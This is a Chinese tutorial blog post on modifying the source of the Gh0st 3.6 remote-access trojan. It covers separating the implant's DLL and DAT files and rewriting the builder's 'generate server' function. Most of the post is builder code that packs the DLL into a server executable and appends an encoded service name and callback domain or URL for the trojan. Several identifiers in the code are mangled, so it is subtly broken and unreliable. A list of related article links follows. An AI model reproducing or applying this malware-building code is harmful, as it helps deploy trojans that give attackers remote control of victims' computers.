从生成的EXE文件中分离出DLL和DAT 文件

一、自定义DLL和DAT文件的生成路径
 先搜索 IDR_BSS 、 IDR_DLL
  1、 IDR_DLL
  位置:\Gh0st3.6原版\Server\install\install.cpp(418):        ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
 

     if (lpServiceName != NULL)
    {
        //修改
    //    ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
        ReleaseResource(NULL, "DLL", "BIN", strModulePath, lpConfigString);
    }

附:查找 ReleaseResource
   

     修改其代码:BOOL ReleaseResource(HMODULE hModule, DWORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString)
     为:BOOL ReleaseResource(HMODULE hModule, LPCTSTR wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString)

并将其中的:
     hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
 改成:    hResInfo = FindResource(hModule, wResourceID, lpType);

 2、\Gh0st3.6原版\Server\install\install.rc(29):IDR_DLL                 BIN     DISCARDABLE     "res\\svchost.dll"

 //去掉这段代码 分离DLL、DAT 修改位置 2
//IDR_DLL                 BIN     DISCARDABLE     "res\\svchost.dll"

3、\Gh0st3.6原版\Server\install\resource.h(5):#define IDR_DLL                         101 // 这个不能改

 //分离DLL、DAT文件 修改位置 3
//#define IDR_DLL                         101 // 这个不能改
//#define IDR_SYS                         102 // 这个不能改

 再搜IDR_BSS ,必须从工程的根目录开始搜索
 4、\Gh0st3.6原版\gh0st\gh0st.rc(589):IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"

 //分离DLL、DAT文件 修改位置 4
//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"

二、修改生成文件

1、右击 svchost flies ,选择 设置 ,连接 ,输出文件名
  

       原内容:../install/res/svchost.dll     --可以自己去 svchost目录中找
  改成:../../bin/Update/heikehc.dll

  
 左边面板中单击 install ,将对应的 输出文件名 

    原内容:../../gh0st/res/install.exe     --EXE文件,可以修改成DAT文件
  改成:../../bin/update/heikehc.dat

三、修改“生成服务端”按钮对应代码
进入 资源窗口 ,Dialog ,IDD_BUILD  ,点击 “生成服务端” ,进入代码编辑 
将整个 响应函数 的代码 都替换掉!

 void CBuildView::OnBuild() 
{
    // TODO: Add your control notification handler code here
    UpdateData(tr);
    if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
    {
        AfxMessageBox("请完整填写服务显示名称和描述 -:(");
        return;
    }
    CString strAddress;

// 保存配置
    ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);
    ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);
    ((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);
    if (m_enable_http)
    {
        CString str;
        GetDlgItemText(IDC_URL, str);
        ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);
        str.MakeLower();
        strAddress = MyEncode(str.GetB?r(0));
    }
    else
    {
        GetDlgItemText(IDC_DNS_STRING, strAddress);
        if (strAddress.Find("AAAA") == -1)
        {
            AfxMessageBox("域名上线字串格式出错 -:(");
            return;
        }
        strAddress.Replace("AAAA", "");
    }

CString        strServiceConfig;
    strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetB?r(0)), 
        MyEncode(m_ServiceDescription.GetB?r(0)));

CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);
    if(dlg.DoModal () != IDOK)
        return;
    char Path[MAX_PATH];
    char ExePath[MAX_PATH];
    char DllPath[MAX_PATH];
    char BakPath[MAX_PATH];
    char Wrong[MAX_PATH];
    char Wrong1[MAX_PATH];
    GetModuleFileName(NULL, Path, sizeof(Path));   //获取程序自身完整路径名称,即Gh0st.exe的路径
    PathRemoveFileSpec(Path);
///其实前面的和安全吧做的那个分离教程一样..就是这里之后..重新把DAT里的DLL分离出来了.
    wsprintf(ExePath,"%s%s",Path,"\\update\\heikehc.dat");
    wsprintf(DllPath,"%s%s",Path,"\\update\\heikehc.dll");
    wsprintf(BakPath,"%s%s",Path,"\\update\\Cache.bak");
    wsprintf(Wrong,"%s%s%s%s","\"",ExePath,"\""," 哥,文件都丢失了!");
    wsprintf(Wrong1,"%s%s%s%s","\"",DllPath,"\""," 哥,文件都丢失了!");

if(!CopyFile(ExePath,BakPath,FALSE))  //如果不存在dat文件就提示下
    {
        MessageBox(Wrong,"提示");
        return;
    }

HANDLE hFile;
    hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VAL)
    {
        DeleteFile(BakPath);
           MessageBox(Wrong1,"提示");
        return;
    }

DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile ); 
    char *szSrcFileB = new char[ nSizeOfSrcFile ]; 
    ReadFile( hFile, szSrcFileB, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);

HANDLE hUpdate;
    BOOL ret;
    hUpdate = BeginUpdateResource(BakPath, false);
    ret = UpdateResource(hUpdate, "BIN", "DLL", 0, szSrcFileB, nSizeOfSrcFile);
    if (!ret)
    {
        CloseHandle(hFile);
    }
    CloseHandle(hFile);
    EndUpdateResource( hUpdate, false ); 
    delete []szSrcFileB; 
    CloseHandle(hFile);
    CopyFile(BakPath,dlg.GetPathName(),FALSE);
    DeleteFile(BakPath);

CFile file;
    if(file.Open (dlg.GetPathName(), CFile::modeWrite))
    {
        try
        {
            file.Seek(0,CFile::end);               //把文件指针指向文件末尾
            // 写入6个'C',是服务的名称和描述
            file.Write("CCCCCC", 6);
            file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
            // 写入6个'A',安装时查找
            file.Write("AAAAAA", 6);
            file.Write(strAddress, strAddress.GetLength() + 1);
            file.Close();
            char ShowText[200];
            wsprintf(ShowText,"%s%s","服务端已生成到:",dlg.GetPathName());
            MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK);
        }
        catch(...)
        {
            MessageBox("文件保存失败,请检查...","提示",MB_OK|MB_ICONSTOP);
        }
    }
}

后记:
之前单一的GHSOT是那种以文件包含文件的形式生成...(个人这样理解..也这样理解..)

现在我们是 用 UPDATE文件夹下面的2个文件..来让主控端调用生成 木马..所以生成的方式不一样..

所以这里的 代码也要相信的修改...

因为在DLL和DAT中都相应的修改了资源的调用..所以我们在主控端也要相应的修改生成的方式..

好了 编译下 看有没有错误


注意一点: 添加代码注释的时候 不要用 中文 数学、或是标点符号 。。
否则极有可以在资源编译的时候不能顺利通过!

Gh0st源码学习(三)生成DLL和DAT文件相关推荐

  1. Opencascade源码学习之模型算法_TKO模块文件介绍

    Opencascade源码学习之模型数据_TKO模块文件介绍 1.TKO 1.BOPAlgo 2.BOPDS 3.BOPTools 4.BRepAlgoAPI 5.IntTools 1.TKO 1.B ...

  2. Opencascade源码学习之模型数据——TKGeomBase模块文件介绍

    Opencascade源码学习之模型数据--TKGeomBase模块文件介绍 1.AdvApp2Var 2.AppCont 3.AppDef 4.AppParCurves 5.Approx 6.Bnd ...

  3. dubbo源码学习三—暴露服务exporter、invoker

    前面我们知道通过自定义标签,我们可以定位到相关标签的解析,同时梳理出三个重要的bean:ServiceBean.ReferenceBean.ConfigCenterBean. 通过Servicebea ...

  4. 修改meta标签 查看源码没效果怎么办_Spring 源码学习(三)-自定义标签

    又来填坑啦,上一篇讲完默认标签的解析,这篇笔记记录一下自定义标签的解析吧. 我们知道,Spring 源码的核心模块是 Spring-core 和 Spring-beans,在此基础上衍生出其他模块,例 ...

  5. Gh0st源码学习(一)前期准备工作

    1.安装 VC 6.0   2.安装最新SDK 包,并替换掉 VC 安装目录中相应文件夹   3.下载Gho0st 3.6 纯净版源友   4.  install.exe - 0 error(s), ...

  6. Gh0st源码学习(二)去除硬盘锁和驱动

    一.去除硬盘锁   GH0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁   中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部 ...

  7. [spring源码学习]三、IOC源码——自定义配置文件读取

    一.环境准备 在文件读取的时候,第9步我们发现spring会根据标签的namespace来选择读取方式,联想spring里提供的各种标签,比如<aop:xxx>等应该会有不同的读取和解析方 ...

  8. patch请求_SpringMVC源码学习(三) 请求处理的流程

    在最近的一篇文章中我们大概了解了SpringMVC的九大组件,以及初始化的问题.根本初始化的发起是Spring的事件机制.而这九大组件是什么?我们先回顾一下,他们分别是文件处理器.语言处理器.主题处理 ...

  9. yara 源码学习(三)  扫描部分

    yara程序的扫描过程 此部分主要在libyara,c  scan.c,eval.c中 不管是扫描进程内存,还是扫描文件夹,扫描文件,最终真正的扫描过程都是函数 int yr_scan_mem_blo ...

最新文章

  1. 二分搜索 2015百度之星初赛1 HDOJ 5248 序列变换
  2. Tomcat 的 catalina.out 日志分割
  3. Python中JSON的基本使用
  4. 多元时代个人信息更需强有力保护
  5. P4009 汽车加油行驶问题
  6. aws mfa 认证_如何为您的AWS账户设置多因素身份验证(MFA)
  7. sae mysql_connect_SAE连接数据库 - zxm的个人空间 - OSCHINA - 中文开源技术交流社区
  8. OpenGL(二)——OpenGL图形绘制
  9. SSH 上传下载文件
  10. Unity3d之MonoBehaviour的可重写函数整理
  11. 在renderman中使用raytrace 计算fur的项目
  12. 红米Note8手机图纸-电路原理图+主板元件位号图
  13. pdf转换成jpg python_Python将PDF转成图片PNG和JPG
  14. 基于SpringBoot-上传照片保存到本地,且回显照片
  15. mysql查询并计算单价_Mysql--查询的成本如何计算
  16. 网页制作的形式美的规则
  17. 手机直播源码,底部导航栏样式
  18. php 上传 413,PHP CURL上传文件出现413 Request Entity Too Large
  19. Android震动vibrator(马达)--系统到驱动的流程【转】
  20. 建立正确的领导思维方式

热门文章

  1. 使用递归计算1-n之间的和
  2. Servlet_体系结构
  3. Stream流中的常用方法_limit
  4. spring事务管理-演示事务的环境准备
  5. php实现享元模式,php设计模式 flyweight (享元模式)
  6. pythonfor循环range_python之for循环与range()函数
  7. 建立一个通讯录的结构记录,包括姓名、年龄、电话号码
  8. MySQL逻辑物理备份测试
  9. 深度解析利用ES6进行Promise封装总结
  10. Chapter4 Java流程控制之选择结构